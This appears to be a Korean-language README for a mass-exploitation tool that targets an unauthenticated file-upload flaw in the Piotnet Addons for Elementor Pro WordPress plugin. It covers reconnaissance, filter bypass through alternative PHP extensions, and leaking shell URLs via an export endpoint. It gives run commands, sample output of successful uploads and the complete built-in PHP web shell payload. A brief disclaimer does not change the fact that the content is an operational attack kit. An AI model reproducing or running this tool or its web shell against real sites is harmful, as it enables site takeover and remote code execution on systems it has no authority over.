
Piotnet Addons for Elementor Pro <= 7.1.70 - 인증되지 않은 임의 파일 업로드 (Form File Upload 경유)
Piotnet Addons for Elementor Pro ≤ 7.1.70에서 인증되지 않은 임의 파일 업로드를 통한 원격 코드 실행(RCE)
이 도구는 대량 익스플로잇을 위해 설계되었습니다. 대상 목록을 입력하면 자동으로 다음 작업을 수행합니다:
post_id, form_id, 올바른 업로드 필드 이름을 추출하기 위한 고급 정찰 수행.phtml, .php3, .php4, .phps, .pht, .php2)를 시도하여 취약한 필터 우회pafe_export_database를 통해 업로드된 셸 URL 누출Logic_Internet 문자열 검색) 및 URL을 shells.txt에 저장⚠️ 면책 조항
이 도구는 교육 및 공인된 보안 테스트 전용입니다.
소유하지 않은 시스템에 대한 무단 사용은 불법입니다.더 많은 면책 조항은 Jenderal92의 표지에서 볼 수 있습니다. 여기에서 확인하세요!!!
data-pafe-form-builder-field-name, data-elementor-id 등) 파싱https:// 추가/contact, /apply, /quote, /book-appointment, …)wp-content/uploads/piotnet-addons-for-elementor/ 및 직접 루트 경로 모두 매칭requests 라이브러리pip install requests
설치
git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885
사용법
targets.txt(또는 다른 이름)라는 파일을 만들고 각 줄에 URL 하나씩 입력합니다:
https://example1.com
example2.com
http://vulnerable-site.org
python2 CVE-2026-4885.py targets.txt
스크립트는 다음을 수행합니다:
· 각 대상에 대한 진행 상황 표시 · 성공한 셸 URL을 shells.txt에 저장
출력 예시
[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
명령줄 옵션(스크립트에서 사용자 지정 가능)
변수 설명 기본값 TIMEOUT HTTP 요청 시간 초과 10초 MAX_THREADS 동시 스레드 수 20 OUTPUT_FILE 성공한 셸 URL을 저장할 위치 shells.txt EXT_LIST 시도할 파일 확장자 .phtml, .php3, .php4, .phps, .pht, .php2
이 값들은 스크립트 상단을 편집하여 변경할 수 있습니다.
셸 페이로드
내장 셸은 다음과 같습니다:
GIF89a;
<?php
echo 'Logic_Internet'.'<br>'.'Uname:'.php_uname().'<br>'.$cwd = getcwd();
Echo '<center> <form method="post" target="_self" enctype="multipart/form-data"> <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" /> </form> </center>'.'<br>';
if (!empty ($_FILES['uploads'])) {
move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "<script>alert('upload Done');</script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type'];
}
?>
· 서버 정보, 현재 작업 디렉터리, 파일 업로드 양식을 표시합니다. · 다른 PHP 코드로 교체할 수 있습니다(스크립트의 SHELL_CODE만 변경하면 됩니다).
작동 방식
?ver= 검색.
· 알려진 CSS/JS 파일 존재 여부 확인으로 대체.문제 해결
Windows에서 UnicodeEncodeError
스크립트에는 이미 비 ASCII 문자를 처리하는 safe_unicode() 함수가 포함되어 있습니다. 여전히 오류가 발생하면 터미널이 UTF-8을 지원하는지 확인하세요:
chcp 65001
폼을 찾을 수 없음 / 모든 확장자 실패
· 대상이 패치되었거나 Piotnet Addons를 사용하지 않을 수 있습니다. · TIMEOUT 또는 MAX_THREADS를 늘려 보세요. · 플러그인이 실제로 설치되어 있는지 수동으로 확인하세요.
누출 실패하지만 업로드는 성공함
· pafe_export_database 엔드포인트가 비활성화되었거나 보호되고 있을 수 있습니다. · 브라우저에서 /wp-admin/admin-ajax.php?action=pafe_export_database에 수동으로 접근하여 접근 가능한지 확인해 보세요.
법적 및 윤리적 사용
· 서면 승인을 받은 시스템에서만 이 도구를 사용하세요. · 저자는 오용 또는 발생한 피해에 대해 책임을 지지 않습니다. · 모든 관련 법률을 준수하세요.